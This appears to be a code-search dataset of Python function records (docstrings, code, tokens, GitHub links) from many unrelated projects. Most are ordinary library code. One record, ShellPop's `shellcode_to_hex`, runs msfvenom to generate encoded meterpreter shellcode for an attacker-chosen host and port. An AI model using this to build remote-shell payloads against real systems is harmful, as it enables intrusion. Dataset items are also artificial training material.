web_flaskbb/lib/python2.7/site-packages/billiard/context.py
python
BaseContext.Lock
(self)
return Lock(ctx=self.get_context())
Returns a non-recursive lock object
Returns a non-recursive lock object
[ "Returns", "a", "non", "-", "recursive", "lock", "object" ]
def Lock(self): '''Returns a non-recursive lock object''' from .synchronize import Lock return Lock(ctx=self.get_context())
[ "def", "Lock", "(", "self", ")", ":", "from", ".", "synchronize", "import", "Lock", "return", "Lock", "(", "ctx", "=", "self", ".", "get_context", "(", ")", ")" ]
https://github.com/zhl2008/awd-platform/blob/0416b31abea29743387b10b3914581fbe8e7da5e/web_flaskbb/lib/python2.7/site-packages/billiard/context.py#L102-L105
YuriyGuts/snake-ai-reinforcement
b4293695e968f6d9da360fb965a6a805760bc81d
snakeai/gameplay/entities.py
python
Snake.peek_next_move
(self)
return self.head + self.direction
Get the point the snake will move to at its next step.
Get the point the snake will move to at its next step.
[ "Get", "the", "point", "the", "snake", "will", "move", "to", "at", "its", "next", "step", "." ]
def peek_next_move(self): """ Get the point the snake will move to at its next step. """ return self.head + self.direction
[ "def", "peek_next_move", "(", "self", ")", ":", "return", "self", ".", "head", "+", "self", ".", "direction" ]
https://github.com/YuriyGuts/snake-ai-reinforcement/blob/b4293695e968f6d9da360fb965a6a805760bc81d/snakeai/gameplay/entities.py#L96-L98
naftaliharris/tauthon
5587ceec329b75f7caf6d65a036db61ac1bae214
Lib/telnetlib.py
python
Telnet._read_until_with_poll
(self, match, timeout)
return self.read_very_lazy()
Read until a given string is encountered or until timeout. This method uses select.poll() to implement the timeout.
Read until a given string is encountered or until timeout.
[ "Read", "until", "a", "given", "string", "is", "encountered", "or", "until", "timeout", "." ]
def _read_until_with_poll(self, match, timeout): """Read until a given string is encountered or until timeout. This method uses select.poll() to implement the timeout. """ n = len(match) call_timeout = timeout if timeout is not None: from time import time time_start = time() self.process_rawq() i = self.cookedq.find(match) if i < 0: poller = select.poll() poll_in_or_priority_flags = select.POLLIN | select.POLLPRI poller.register(self, poll_in_or_priority_flags) while i < 0 and not self.eof: try: # Poll takes its timeout in milliseconds. ready = poller.poll(None if timeout is None else 1000 * call_timeout) except select.error as e: if e[0] == errno.EINTR: if timeout is not None: elapsed = time() - time_start call_timeout = timeout-elapsed continue raise for fd, mode in ready: if mode & poll_in_or_priority_flags: i = max(0, len(self.cookedq)-n) self.fill_rawq() self.process_rawq() i = self.cookedq.find(match, i) if timeout is not None: elapsed = time() - time_start if elapsed >= timeout: break call_timeout = timeout-elapsed poller.unregister(self) if i >= 0: i = i + n buf = self.cookedq[:i] self.cookedq = self.cookedq[i:] return buf return self.read_very_lazy()
[ "def", "_read_until_with_poll", "(", "self", ",", "match", ",", "timeout", ")", ":", "n", "=", "len", "(", "match", ")", "call_timeout", "=", "timeout", "if", "timeout", "is", "not", "None", ":", "from", "time", "import", "time", "time_start", "=", "time...
https://github.com/naftaliharris/tauthon/blob/5587ceec329b75f7caf6d65a036db61ac1bae214/Lib/telnetlib.py#L298-L343
carla-simulator/scenario_runner
f4d00d88eda4212a1e119515c96281a4be5c234e
srunner/scenarios/background_activity.py
python
BackgroundBehavior._filter_fake_junctions
(self, data)
return fake_data, filtered_data
Filters fake junctions. As a general note, a fake junction is that where no road lane divide in two. However, this might fail for some CARLA maps, so check junctions which have all lanes straight too
Filters fake junctions. As a general note, a fake junction is that where no road lane divide in two. However, this might fail for some CARLA maps, so check junctions which have all lanes straight too
[ "Filters", "fake", "junctions", ".", "As", "a", "general", "note", "a", "fake", "junction", "is", "that", "where", "no", "road", "lane", "divide", "in", "two", ".", "However", "this", "might", "fail", "for", "some", "CARLA", "maps", "so", "check", "junct...
def _filter_fake_junctions(self, data): """ Filters fake junctions. As a general note, a fake junction is that where no road lane divide in two. However, this might fail for some CARLA maps, so check junctions which have all lanes straight too """ fake_data = [] filtered_data = [] threshold = math.radians(15) for junction_data in data: used_entry_lanes = [] used_exit_lanes = [] for junction in junction_data.junctions: for entry_wp, exit_wp in junction.get_waypoints(carla.LaneType.Driving): entry_wp = self._get_junction_entry_wp(entry_wp) if not entry_wp: continue if get_lane_key(entry_wp) not in used_entry_lanes: used_entry_lanes.append(get_lane_key(entry_wp)) exit_wp = self._get_junction_exit_wp(exit_wp) if not exit_wp: continue if get_lane_key(exit_wp) not in used_exit_lanes: used_exit_lanes.append(get_lane_key(exit_wp)) if not used_entry_lanes and not used_exit_lanes: fake_data.append(junction_data) continue found_turn = False for entry_wp, exit_wp in junction_data.junctions[0].get_waypoints(carla.LaneType.Driving): entry_heading = entry_wp.transform.get_forward_vector() exit_heading = exit_wp.transform.get_forward_vector() dot = entry_heading.x * exit_heading.x + entry_heading.y * exit_heading.y if dot < math.cos(threshold): found_turn = True break if not found_turn: fake_data.append(junction_data) else: filtered_data.append(junction_data) return fake_data, filtered_data
[ "def", "_filter_fake_junctions", "(", "self", ",", "data", ")", ":", "fake_data", "=", "[", "]", "filtered_data", "=", "[", "]", "threshold", "=", "math", ".", "radians", "(", "15", ")", "for", "junction_data", "in", "data", ":", "used_entry_lanes", "=", ...
https://github.com/carla-simulator/scenario_runner/blob/f4d00d88eda4212a1e119515c96281a4be5c234e/srunner/scenarios/background_activity.py#L506-L550
ztgrace/changeme
89f59d476a07affece2736b9d74abffe25fd2ce5
changeme/scanners/database.py
python
Database.__init__
(self, cred, target, username, password, config)
[]
def __init__(self, cred, target, username, password, config): super(Database, self).__init__(cred, target, config, username, password) self.database = None self.query = None
[ "def", "__init__", "(", "self", ",", "cred", ",", "target", ",", "username", ",", "password", ",", "config", ")", ":", "super", "(", "Database", ",", "self", ")", ".", "__init__", "(", "cred", ",", "target", ",", "config", ",", "username", ",", "pass...
https://github.com/ztgrace/changeme/blob/89f59d476a07affece2736b9d74abffe25fd2ce5/changeme/scanners/database.py#L7-L10
cobrateam/splinter
a3f30f53d886709e60218e46b521cbd87e9caadd
splinter/element_list.py
python
ElementList.first
(self)
return self[0]
An alias to the first element of the list. Example: >>> assert element_list[0] == element_list.first
An alias to the first element of the list.
[ "An", "alias", "to", "the", "first", "element", "of", "the", "list", "." ]
def first(self): """An alias to the first element of the list. Example: >>> assert element_list[0] == element_list.first """ return self[0]
[ "def", "first", "(", "self", ")", ":", "return", "self", "[", "0", "]" ]
https://github.com/cobrateam/splinter/blob/a3f30f53d886709e60218e46b521cbd87e9caadd/splinter/element_list.py#L48-L55
easyw/kicadStepUpMod
9d78e59b97cedc4915ee3a290126a88dcdf11277
fcad_parser/sexp_parser/sexp_parser.py
python
Sexp._addDefaults
(self,defs)
return v
Add default values Arg: defs (string|Sexp|tuple) Returns: the value with the first key in ``defs``. ``defs`` maybe a string or a tuple of strings. The first string specifies the key of the default value. The following strings defines the keys of the sub values. The following strings can be tuples, too, for recursive setting of the default value. The string specifies that if the corresponding key is missing or has only one instance, it will be converted to a ``SexpList`` of either zero or one child. This makes it easy to traverse the object model without constant need of sanity checking. Each element inside ``defs`` can instead be a Sexp, which means that if the corresponding key is missing, the given Sexp will be added.
Add default values Arg: defs (string|Sexp|tuple)
[ "Add", "default", "values", "Arg", ":", "defs", "(", "string|Sexp|tuple", ")" ]
def _addDefaults(self,defs): '''Add default values Arg: defs (string|Sexp|tuple) Returns: the value with the first key in ``defs``. ``defs`` maybe a string or a tuple of strings. The first string specifies the key of the default value. The following strings defines the keys of the sub values. The following strings can be tuples, too, for recursive setting of the default value. The string specifies that if the corresponding key is missing or has only one instance, it will be converted to a ``SexpList`` of either zero or one child. This makes it easy to traverse the object model without constant need of sanity checking. Each element inside ``defs`` can instead be a Sexp, which means that if the corresponding key is missing, the given Sexp will be added. ''' if isinstance(defs,(list,tuple)): if not len(defs): return v = SexpList(self._addDefaults(defs[0])) for d in defs[1:]: for l in v: l._addDefaults(d) return if isinstance(defs,string_types): defs = SexpList([],defs) elif not isinstance(defs,Sexp): raise TypeError('expects type string|Sexp') try: v = self._value[defs._key] except: self._value[defs._key] = defs return defs if isinstance(defs,SexpList) and not isinstance(v,SexpList): v = self._value[defs._key] = SexpList(v) return v
[ "def", "_addDefaults", "(", "self", ",", "defs", ")", ":", "if", "isinstance", "(", "defs", ",", "(", "list", ",", "tuple", ")", ")", ":", "if", "not", "len", "(", "defs", ")", ":", "return", "v", "=", "SexpList", "(", "self", ".", "_addDefaults", ...
https://github.com/easyw/kicadStepUpMod/blob/9d78e59b97cedc4915ee3a290126a88dcdf11277/fcad_parser/sexp_parser/sexp_parser.py#L253-L295
ajinabraham/OWASP-Xenotix-XSS-Exploit-Framework
cb692f527e4e819b6c228187c5702d990a180043
external/Scripting Engine/Xenotix Python Scripting Engine/packages/IronPython.StdLib.2.7.4/content/Lib/cookielib.py
python
join_header_words
(lists)
return ", ".join(headers)
Do the inverse (almost) of the conversion done by split_header_words. Takes a list of lists of (key, value) pairs and produces a single header value. Attribute values are quoted if needed. >>> join_header_words([[("text/plain", None), ("charset", "iso-8859/1")]]) 'text/plain; charset="iso-8859/1"' >>> join_header_words([[("text/plain", None)], [("charset", "iso-8859/1")]]) 'text/plain, charset="iso-8859/1"'
Do the inverse (almost) of the conversion done by split_header_words.
[ "Do", "the", "inverse", "(", "almost", ")", "of", "the", "conversion", "done", "by", "split_header_words", "." ]
def join_header_words(lists): """Do the inverse (almost) of the conversion done by split_header_words. Takes a list of lists of (key, value) pairs and produces a single header value. Attribute values are quoted if needed. >>> join_header_words([[("text/plain", None), ("charset", "iso-8859/1")]]) 'text/plain; charset="iso-8859/1"' >>> join_header_words([[("text/plain", None)], [("charset", "iso-8859/1")]]) 'text/plain, charset="iso-8859/1"' """ headers = [] for pairs in lists: attr = [] for k, v in pairs: if v is not None: if not re.search(r"^\w+$", v): v = HEADER_JOIN_ESCAPE_RE.sub(r"\\\1", v) # escape " and \ v = '"%s"' % v k = "%s=%s" % (k, v) attr.append(k) if attr: headers.append("; ".join(attr)) return ", ".join(headers)
[ "def", "join_header_words", "(", "lists", ")", ":", "headers", "=", "[", "]", "for", "pairs", "in", "lists", ":", "attr", "=", "[", "]", "for", "k", ",", "v", "in", "pairs", ":", "if", "v", "is", "not", "None", ":", "if", "not", "re", ".", "sea...
https://github.com/ajinabraham/OWASP-Xenotix-XSS-Exploit-Framework/blob/cb692f527e4e819b6c228187c5702d990a180043/external/Scripting Engine/Xenotix Python Scripting Engine/packages/IronPython.StdLib.2.7.4/content/Lib/cookielib.py#L412-L435
IronLanguages/ironpython2
51fdedeeda15727717fb8268a805f71b06c0b9f1
Src/StdLib/Lib/decimal.py
python
Decimal._log10_exp_bound
(self)
return len(num) + e - (num < "231") - 1
Compute a lower bound for the adjusted exponent of self.log10(). In other words, find r such that self.log10() >= 10**r. Assumes that self is finite and positive and that self != 1.
Compute a lower bound for the adjusted exponent of self.log10(). In other words, find r such that self.log10() >= 10**r. Assumes that self is finite and positive and that self != 1.
[ "Compute", "a", "lower", "bound", "for", "the", "adjusted", "exponent", "of", "self", ".", "log10", "()", ".", "In", "other", "words", "find", "r", "such", "that", "self", ".", "log10", "()", ">", "=", "10", "**", "r", ".", "Assumes", "that", "self",...
def _log10_exp_bound(self): """Compute a lower bound for the adjusted exponent of self.log10(). In other words, find r such that self.log10() >= 10**r. Assumes that self is finite and positive and that self != 1. """ # For x >= 10 or x < 0.1 we only need a bound on the integer # part of log10(self), and this comes directly from the # exponent of x. For 0.1 <= x <= 10 we use the inequalities # 1-1/x <= log(x) <= x-1. If x > 1 we have |log10(x)| > # (1-1/x)/2.31 > 0. If x < 1 then |log10(x)| > (1-x)/2.31 > 0 adj = self._exp + len(self._int) - 1 if adj >= 1: # self >= 10 return len(str(adj))-1 if adj <= -2: # self < 0.1 return len(str(-1-adj))-1 op = _WorkRep(self) c, e = op.int, op.exp if adj == 0: # 1 < self < 10 num = str(c-10**-e) den = str(231*c) return len(num) - len(den) - (num < den) + 2 # adj == -1, 0.1 <= self < 1 num = str(10**-e-c) return len(num) + e - (num < "231") - 1
[ "def", "_log10_exp_bound", "(", "self", ")", ":", "# For x >= 10 or x < 0.1 we only need a bound on the integer", "# part of log10(self), and this comes directly from the", "# exponent of x. For 0.1 <= x <= 10 we use the inequalities", "# 1-1/x <= log(x) <= x-1. If x > 1 we have |log10(x)| >", ...
https://github.com/IronLanguages/ironpython2/blob/51fdedeeda15727717fb8268a805f71b06c0b9f1/Src/StdLib/Lib/decimal.py#L3142-L3170
microsoft/azure-devops-python-api
451cade4c475482792cbe9e522c1fee32393139e
azure-devops/azure/devops/v6_0/build/build_client.py
python
BuildClient.add_definition_tags
(self, tags, project, definition_id)
return self._deserialize('[str]', self._unwrap_collection(response))
AddDefinitionTags. [Preview API] Adds multiple tags to a definition. :param [str] tags: The tags to add. :param str project: Project ID or project name :param int definition_id: The ID of the definition. :rtype: [str]
AddDefinitionTags. [Preview API] Adds multiple tags to a definition. :param [str] tags: The tags to add. :param str project: Project ID or project name :param int definition_id: The ID of the definition. :rtype: [str]
[ "AddDefinitionTags", ".", "[", "Preview", "API", "]", "Adds", "multiple", "tags", "to", "a", "definition", ".", ":", "param", "[", "str", "]", "tags", ":", "The", "tags", "to", "add", ".", ":", "param", "str", "project", ":", "Project", "ID", "or", "...
def add_definition_tags(self, tags, project, definition_id): """AddDefinitionTags. [Preview API] Adds multiple tags to a definition. :param [str] tags: The tags to add. :param str project: Project ID or project name :param int definition_id: The ID of the definition. :rtype: [str] """ route_values = {} if project is not None: route_values['project'] = self._serialize.url('project', project, 'str') if definition_id is not None: route_values['definitionId'] = self._serialize.url('definition_id', definition_id, 'int') content = self._serialize.body(tags, '[str]') response = self._send(http_method='POST', location_id='cb894432-134a-4d31-a839-83beceaace4b', version='6.0-preview.2', route_values=route_values, content=content) return self._deserialize('[str]', self._unwrap_collection(response))
[ "def", "add_definition_tags", "(", "self", ",", "tags", ",", "project", ",", "definition_id", ")", ":", "route_values", "=", "{", "}", "if", "project", "is", "not", "None", ":", "route_values", "[", "'project'", "]", "=", "self", ".", "_serialize", ".", ...
https://github.com/microsoft/azure-devops-python-api/blob/451cade4c475482792cbe9e522c1fee32393139e/azure-devops/azure/devops/v6_0/build/build_client.py#L1858-L1877
richardbarran/django-photologue
97768fef566cb19eb3c8454d58d9abf2e7b9f2b6
photologue/managers.py
python
SharedQueries.is_public
(self)
return self.filter(is_public=True)
Trivial filter - will probably become more complex as time goes by!
Trivial filter - will probably become more complex as time goes by!
[ "Trivial", "filter", "-", "will", "probably", "become", "more", "complex", "as", "time", "goes", "by!" ]
def is_public(self): """Trivial filter - will probably become more complex as time goes by!""" return self.filter(is_public=True)
[ "def", "is_public", "(", "self", ")", ":", "return", "self", ".", "filter", "(", "is_public", "=", "True", ")" ]
https://github.com/richardbarran/django-photologue/blob/97768fef566cb19eb3c8454d58d9abf2e7b9f2b6/photologue/managers.py#L9-L11
mchristopher/PokemonGo-DesktopMap
ec37575f2776ee7d64456e2a1f6b6b78830b4fe0
app/pylibs/win32/Cryptodome/Cipher/_mode_ecb.py
python
EcbMode.decrypt
(self, ciphertext)
return get_raw_buffer(plaintext)
Decrypt data with the key set at initialization. The data to decrypt can be broken up in two or more pieces and `decrypt` can be called multiple times. That is, the statement: >>> c.decrypt(a) + c.decrypt(b) is equivalent to: >>> c.decrypt(a+b) This function does not remove any padding from the plaintext. :Parameters: ciphertext : byte string The piece of data to decrypt. The length must be multiple of the cipher block length. :Return: the decrypted data (byte string). It is as long as *ciphertext*.
Decrypt data with the key set at initialization.
[ "Decrypt", "data", "with", "the", "key", "set", "at", "initialization", "." ]
def decrypt(self, ciphertext): """Decrypt data with the key set at initialization. The data to decrypt can be broken up in two or more pieces and `decrypt` can be called multiple times. That is, the statement: >>> c.decrypt(a) + c.decrypt(b) is equivalent to: >>> c.decrypt(a+b) This function does not remove any padding from the plaintext. :Parameters: ciphertext : byte string The piece of data to decrypt. The length must be multiple of the cipher block length. :Return: the decrypted data (byte string). It is as long as *ciphertext*. """ expect_byte_string(ciphertext) plaintext = create_string_buffer(len(ciphertext)) result = raw_ecb_lib.ECB_decrypt(self._state.get(), ciphertext, plaintext, c_size_t(len(ciphertext))) if result: raise ValueError("Error %d while decrypting in ECB mode" % result) return get_raw_buffer(plaintext)
[ "def", "decrypt", "(", "self", ",", "ciphertext", ")", ":", "expect_byte_string", "(", "ciphertext", ")", "plaintext", "=", "create_string_buffer", "(", "len", "(", "ciphertext", ")", ")", "result", "=", "raw_ecb_lib", ".", "ECB_decrypt", "(", "self", ".", "...
https://github.com/mchristopher/PokemonGo-DesktopMap/blob/ec37575f2776ee7d64456e2a1f6b6b78830b4fe0/app/pylibs/win32/Cryptodome/Cipher/_mode_ecb.py#L127-L161
entropy1337/infernal-twin
10995cd03312e39a48ade0f114ebb0ae3a711bb8
Modules/build/pip/pip/_vendor/distlib/locators.py
python
AggregatingLocator.get_distribution_names
(self)
return result
Return all the distribution names known to this locator.
Return all the distribution names known to this locator.
[ "Return", "all", "the", "distribution", "names", "known", "to", "this", "locator", "." ]
def get_distribution_names(self): """ Return all the distribution names known to this locator. """ result = set() for locator in self.locators: try: result |= locator.get_distribution_names() except NotImplementedError: pass return result
[ "def", "get_distribution_names", "(", "self", ")", ":", "result", "=", "set", "(", ")", "for", "locator", "in", "self", ".", "locators", ":", "try", ":", "result", "|=", "locator", ".", "get_distribution_names", "(", ")", "except", "NotImplementedError", ":"...
https://github.com/entropy1337/infernal-twin/blob/10995cd03312e39a48ade0f114ebb0ae3a711bb8/Modules/build/pip/pip/_vendor/distlib/locators.py#L1004-L1014
0x00-0x00/ShellPop
a145349f8fc3c3fba6e873bf54c5aeaf1614f84a
src/binary.py
python
shellcode_to_hex
(msf_payload, host, port)
return hexlify(stdout)
Function to generate a common, encoded meterpreter shellcode and return it as a hex string as binascii.hexlify does. @zc00l
Function to generate a common, encoded meterpreter shellcode and return it as a hex string as binascii.hexlify does.
[ "Function", "to", "generate", "a", "common", "encoded", "meterpreter", "shellcode", "and", "return", "it", "as", "a", "hex", "string", "as", "binascii", ".", "hexlify", "does", "." ]
def shellcode_to_hex(msf_payload, host, port): """ Function to generate a common, encoded meterpreter shellcode and return it as a hex string as binascii.hexlify does. @zc00l """ proc = Popen("msfvenom -p {0} LHOST={1} LPORT={2} EXITFUNC=thread -f raw -b '\\x00\\x20\\x0d\\x0a'".format( msf_payload, host, port), shell=True, stdout=PIPE, stderr=PIPE ) stdout, _ = proc.communicate() return hexlify(stdout)
[ "def", "shellcode_to_hex", "(", "msf_payload", ",", "host", ",", "port", ")", ":", "proc", "=", "Popen", "(", "\"msfvenom -p {0} LHOST={1} LPORT={2} EXITFUNC=thread -f raw -b '\\\\x00\\\\x20\\\\x0d\\\\x0a'\"", ".", "format", "(", "msf_payload", ",", "host", ",", "port", ...
https://github.com/0x00-0x00/ShellPop/blob/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/src/binary.py#L5-L15
chb/indivo_server
9826c67ab17d7fc0df935db327344fb0c7d237e5
indivo/views/pha.py
python
all_phas
(request)
return _phas(request)
List all available userapps. Will return :http:statuscode:`200` with a list of app manifests as JSON on success.
List all available userapps.
[ "List", "all", "available", "userapps", "." ]
def all_phas(request): """ List all available userapps. Will return :http:statuscode:`200` with a list of app manifests as JSON on success. """ return _phas(request)
[ "def", "all_phas", "(", "request", ")", ":", "return", "_phas", "(", "request", ")" ]
https://github.com/chb/indivo_server/blob/9826c67ab17d7fc0df935db327344fb0c7d237e5/indivo/views/pha.py#L32-L39
cool-RR/python_toolbox
cb9ef64b48f1d03275484d707dc5079b6701ad0c
python_toolbox/wx_tools/widgets/third_party/customtreectrl.py
python
CustomTreeCtrl.GetItemImage
(self, item, which=TreeItemIcon_Normal)
return item.GetImage(which)
Returns the item image. :param `item`: an instance of L{GenericTreeItem}; :param `which`: can be one of the following bits: ================================= ======================== Item State Description ================================= ======================== ``TreeItemIcon_Normal`` To get the normal item image ``TreeItemIcon_Selected`` To get the selected item image (i.e. the image which is shown when the item is currently selected) ``TreeItemIcon_Expanded`` To get the expanded image (this only makes sense for items which have children - then this image is shown when the item is expanded and the normal image is shown when it is collapsed) ``TreeItemIcon_SelectedExpanded`` To get the selected expanded image (which is shown when an expanded item is currently selected) ================================= ========================
Returns the item image.
[ "Returns", "the", "item", "image", "." ]
def GetItemImage(self, item, which=TreeItemIcon_Normal): """ Returns the item image. :param `item`: an instance of L{GenericTreeItem}; :param `which`: can be one of the following bits: ================================= ======================== Item State Description ================================= ======================== ``TreeItemIcon_Normal`` To get the normal item image ``TreeItemIcon_Selected`` To get the selected item image (i.e. the image which is shown when the item is currently selected) ``TreeItemIcon_Expanded`` To get the expanded image (this only makes sense for items which have children - then this image is shown when the item is expanded and the normal image is shown when it is collapsed) ``TreeItemIcon_SelectedExpanded`` To get the selected expanded image (which is shown when an expanded item is currently selected) ================================= ======================== """ return item.GetImage(which)
[ "def", "GetItemImage", "(", "self", ",", "item", ",", "which", "=", "TreeItemIcon_Normal", ")", ":", "return", "item", ".", "GetImage", "(", "which", ")" ]
https://github.com/cool-RR/python_toolbox/blob/cb9ef64b48f1d03275484d707dc5079b6701ad0c/python_toolbox/wx_tools/widgets/third_party/customtreectrl.py#L3118-L3135
HASecuritySolutions/VulnWhisperer
e7183864d05b2b541686894fd0cbc928ed38e6f1
vulnwhisp/reporting/jira_api.py
python
JiraAPI.close_fixed_tickets
(self, vulnerabilities)
return 0
Close tickets which vulnerabilities have been resolved and are still open. Higiene clean up affects to all tickets created by the module, filters by label 'vulnerability_management'
Close tickets which vulnerabilities have been resolved and are still open. Higiene clean up affects to all tickets created by the module, filters by label 'vulnerability_management'
[ "Close", "tickets", "which", "vulnerabilities", "have", "been", "resolved", "and", "are", "still", "open", ".", "Higiene", "clean", "up", "affects", "to", "all", "tickets", "created", "by", "the", "module", "filters", "by", "label", "vulnerability_management" ]
def close_fixed_tickets(self, vulnerabilities): ''' Close tickets which vulnerabilities have been resolved and are still open. Higiene clean up affects to all tickets created by the module, filters by label 'vulnerability_management' ''' found_vulns = [] for vuln in vulnerabilities: found_vulns.append(vuln['title']) comment = '''This ticket is being closed as it appears that the vulnerability no longer exists. If the vulnerability reappears, a new ticket will be opened.''' for ticket in self.all_tickets: if ticket.raw['fields']['summary'].strip() in found_vulns: self.logger.info("Ticket {} is still vulnerable".format(ticket)) continue self.logger.info("Ticket {} is no longer vulnerable".format(ticket)) self.close_ticket(ticket, self.JIRA_RESOLUTION_FIXED, comment) return 0
[ "def", "close_fixed_tickets", "(", "self", ",", "vulnerabilities", ")", ":", "found_vulns", "=", "[", "]", "for", "vuln", "in", "vulnerabilities", ":", "found_vulns", ".", "append", "(", "vuln", "[", "'title'", "]", ")", "comment", "=", "'''This ticket is bein...
https://github.com/HASecuritySolutions/VulnWhisperer/blob/e7183864d05b2b541686894fd0cbc928ed38e6f1/vulnwhisp/reporting/jira_api.py#L466-L484
autotest/autotest
4614ae5f550cc888267b9a419e4b90deb54f8fae
cli/host.py
python
host_mod.__init__
(self)
Add the options specific to the mod action
Add the options specific to the mod action
[ "Add", "the", "options", "specific", "to", "the", "mod", "action" ]
def __init__(self): """Add the options specific to the mod action""" self.data = {} self.messages = [] super(host_mod, self).__init__() self.parser.add_option('-l', '--lock', help='Lock hosts', action='store_true') self.parser.add_option('-u', '--unlock', help='Unlock hosts', action='store_true') self.parser.add_option('-p', '--protection', type='choice', help=('Set the protection level on a host. ' 'Must be one of: %s' % ', '.join('"%s"' % p for p in self.protections)), choices=self.protections) self.parser.add_option('-t', '--platform', help='Sets the platform label') self.parser.add_option('-b', '--labels', help='Comma separated list of labels') self.parser.add_option('-B', '--blist', help='File listing the labels', type='string', metavar='LABEL_FLIST')
[ "def", "__init__", "(", "self", ")", ":", "self", ".", "data", "=", "{", "}", "self", ".", "messages", "=", "[", "]", "super", "(", "host_mod", ",", "self", ")", ".", "__init__", "(", ")", "self", ".", "parser", ".", "add_option", "(", "'-l'", ",...
https://github.com/autotest/autotest/blob/4614ae5f550cc888267b9a419e4b90deb54f8fae/cli/host.py#L306-L330
uwdata/termite-data-server
1085571407c627bdbbd21c352e793fed65d09599
web2py/gluon/highlight.py
python
Highlighter.python_tokenizer
( self, token, match, style, )
return None
Callback for python specific highlighting.
Callback for python specific highlighting.
[ "Callback", "for", "python", "specific", "highlighting", "." ]
def python_tokenizer( self, token, match, style, ): """ Callback for python specific highlighting. """ value = cgi.escape(match.group()) if token == 'MULTILINESTRING': self.change_style(token, style) self.output.append(value) self.strMultilineString = match.group(1) return 'PYTHONMultilineString' elif token == 'ENDMULTILINESTRING': if match.group(1) == self.strMultilineString: self.output.append(value) self.strMultilineString = '' return 'PYTHON' if style and style[:5] == 'link:': self.change_style(None, None) (url, style) = style[5:].split(';', 1) if url == 'None' or url == '': self.output.append('<span style="%s">%s</span>' % (style, value)) else: self.output.append('<a href="%s%s" style="%s">%s</a>' % (url, value, style, value)) else: self.change_style(token, style) self.output.append(value) if token == 'GOTOHTML': return 'HTML' return None
[ "def", "python_tokenizer", "(", "self", ",", "token", ",", "match", ",", "style", ",", ")", ":", "value", "=", "cgi", ".", "escape", "(", "match", ".", "group", "(", ")", ")", "if", "token", "==", "'MULTILINESTRING'", ":", "self", ".", "change_style", ...
https://github.com/uwdata/termite-data-server/blob/1085571407c627bdbbd21c352e793fed65d09599/web2py/gluon/highlight.py#L69-L104
yanxiu0614/subdomain3
670f57b82479546cea1ce7c3f291d62edee9c3d4
lib/IPy.py
python
IPint.__str__
(self)
return self.strCompressed()
Dispatch to the prefered String Representation. Used to implement str(IP).
Dispatch to the prefered String Representation.
[ "Dispatch", "to", "the", "prefered", "String", "Representation", "." ]
def __str__(self): """Dispatch to the prefered String Representation. Used to implement str(IP).""" return self.strCompressed()
[ "def", "__str__", "(", "self", ")", ":", "return", "self", ".", "strCompressed", "(", ")" ]
https://github.com/yanxiu0614/subdomain3/blob/670f57b82479546cea1ce7c3f291d62edee9c3d4/lib/IPy.py#L684-L689
cbrgm/telegram-robot-rss
58fe98de427121fdc152c8df0721f1891174e6c9
venv/lib/python2.7/site-packages/future/standard_library/__init__.py
python
scrub_py2_sys_modules
()
return scrubbed
Removes any Python 2 standard library modules from ``sys.modules`` that would interfere with Py3-style imports using import hooks. Examples are modules with the same names (like urllib or email). (Note that currently import hooks are disabled for modules like these with ambiguous names anyway ...)
Removes any Python 2 standard library modules from ``sys.modules`` that would interfere with Py3-style imports using import hooks. Examples are modules with the same names (like urllib or email).
[ "Removes", "any", "Python", "2", "standard", "library", "modules", "from", "sys", ".", "modules", "that", "would", "interfere", "with", "Py3", "-", "style", "imports", "using", "import", "hooks", ".", "Examples", "are", "modules", "with", "the", "same", "nam...
def scrub_py2_sys_modules(): """ Removes any Python 2 standard library modules from ``sys.modules`` that would interfere with Py3-style imports using import hooks. Examples are modules with the same names (like urllib or email). (Note that currently import hooks are disabled for modules like these with ambiguous names anyway ...) """ if PY3: return {} scrubbed = {} for modulename in REPLACED_MODULES & set(RENAMES.keys()): if not modulename in sys.modules: continue module = sys.modules[modulename] if is_py2_stdlib_module(module): flog.debug('Deleting (Py2) {} from sys.modules'.format(modulename)) scrubbed[modulename] = sys.modules[modulename] del sys.modules[modulename] return scrubbed
[ "def", "scrub_py2_sys_modules", "(", ")", ":", "if", "PY3", ":", "return", "{", "}", "scrubbed", "=", "{", "}", "for", "modulename", "in", "REPLACED_MODULES", "&", "set", "(", "RENAMES", ".", "keys", "(", ")", ")", ":", "if", "not", "modulename", "in",...
https://github.com/cbrgm/telegram-robot-rss/blob/58fe98de427121fdc152c8df0721f1891174e6c9/venv/lib/python2.7/site-packages/future/standard_library/__init__.py#L370-L392
holzschu/Carnets
44effb10ddfc6aa5c8b0687582a724ba82c6b547
Library/lib/python3.7/site-packages/matplotlib-3.0.3-py3.7-macosx-10.9-x86_64.egg/mpl_toolkits/axes_grid1/colorbar.py
python
ColorbarBase._edges
(self, X, Y)
Return the separator line segments; helper for _add_solids.
Return the separator line segments; helper for _add_solids.
[ "Return", "the", "separator", "line", "segments", ";", "helper", "for", "_add_solids", "." ]
def _edges(self, X, Y): ''' Return the separator line segments; helper for _add_solids. ''' N = X.shape[0] # Using the non-array form of these line segments is much # simpler than making them into arrays. if self.orientation == 'vertical': return [list(zip(X[i], Y[i])) for i in range(1, N-1)] else: return [list(zip(Y[i], X[i])) for i in range(1, N-1)]
[ "def", "_edges", "(", "self", ",", "X", ",", "Y", ")", ":", "N", "=", "X", ".", "shape", "[", "0", "]", "# Using the non-array form of these line segments is much", "# simpler than making them into arrays.", "if", "self", ".", "orientation", "==", "'vertical'", ":...
https://github.com/holzschu/Carnets/blob/44effb10ddfc6aa5c8b0687582a724ba82c6b547/Library/lib/python3.7/site-packages/matplotlib-3.0.3-py3.7-macosx-10.9-x86_64.egg/mpl_toolkits/axes_grid1/colorbar.py#L518-L528
larryhastings/gilectomy
4315ec3f1d6d4f813cc82ce27a24e7f784dbfc1a
Lib/urllib/parse.py
python
quote_from_bytes
(bs, safe='/')
return ''.join([quoter(char) for char in bs])
Like quote(), but accepts a bytes object rather than a str, and does not perform string-to-bytes encoding. It always returns an ASCII string. quote_from_bytes(b'abc def\x3f') -> 'abc%20def%3f'
Like quote(), but accepts a bytes object rather than a str, and does not perform string-to-bytes encoding. It always returns an ASCII string. quote_from_bytes(b'abc def\x3f') -> 'abc%20def%3f'
[ "Like", "quote", "()", "but", "accepts", "a", "bytes", "object", "rather", "than", "a", "str", "and", "does", "not", "perform", "string", "-", "to", "-", "bytes", "encoding", ".", "It", "always", "returns", "an", "ASCII", "string", ".", "quote_from_bytes",...
